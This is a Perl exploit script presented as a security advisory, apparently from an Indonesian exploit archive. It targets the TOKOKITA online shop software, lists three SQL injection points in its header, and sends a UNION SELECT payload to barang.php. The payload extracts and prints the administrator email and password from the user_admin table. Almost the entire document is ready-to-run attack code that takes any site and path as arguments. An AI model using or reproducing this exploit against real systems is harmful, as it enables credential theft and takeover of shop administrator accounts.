|
#!/usr/bin/perl
# k1tk4t Public Security Advisory
# ////////////////////////////////////////////////////////////
# TOKOKITA Multiple Remote SQL Injection
# Demosite : http://www.tokokita.net/toko/
# Vendor : http://www.tokokita.com/
# Kutu : 1. catlist.php?cat_id=[Blind SQLi]
# 2. catlist_detail.php?cat_id=[Blind SQLi]
# 3. barang.php?produk_id=[SQLi]
# Terimakasih untuk ;
# str0ke,DNX,n0c0py,L41n,
# NTOS-Team->[fl3xu5,opt1lc,sakitjiwa],
# eCHo->[y3dips,K-159,lirva32,dan staff lainnya]
use LWP::UserAgent;
if ( !$ARGV[1] ) {
print "\n //////////////////////////////////////////////////////////////////";
print "\n // ..::> k1tk4t <::.. //";
print "\n // TOKOKITA (barang.php produk_id) Remote SQL Injection Exploit //";
print "\n //////////////////////////////////////////////////////////////////";
print "\n[!] ";
print "\n[!] Penggunaan : perl tokokita.pl [Site] [Path]";
print "\n[!] Contoh : perl tokokita.pl localhost /toko/";
print "\n[!] ";
print "\n";
exit;
}
$site = $ARGV[0];
$path = $ARGV[1];
$sqlinj = "union+
select+
null,
null,
null,
concat(0x6b3174,email,0x316e),
null,
concat(0x6b3474,password,0x307574),
null,
null,
null,
null,
null+
from+
user_admin/*";
$expl = "http://" . $site . $path . "barang.php?produk_id=-9+"
. $sqlinj;
$www = new LWP::UserAgent;
print "\n\n [!] Injeksi SQL \n";
$res = $www->get($expl) or err ();
$hasil = $res->content;
if ( $hasil =~ /k1t(.*?)1n/ ) {
print "\n [+] Username : $1";
$hasil =~ /k4t(.*?)0ut/, print "\n [+] Password : $1";
print "\n\n";
}
else {
print "\n [-] Exploit gagal ;)";
exit();
}
|
| |
|
推荐
评论(0条)
